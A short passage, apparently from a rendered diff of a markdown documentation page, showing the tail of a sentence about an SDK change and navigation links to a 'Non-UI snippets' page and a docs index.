when the SDK changed underneath them.
|
|
189
|
+
|
|
190
|
+
---
|
|
191
|
+
|
|
192
|
+
[← Non-UI snippets](./09-non-ui-snippets.md) · [Docs index](./README.md)
|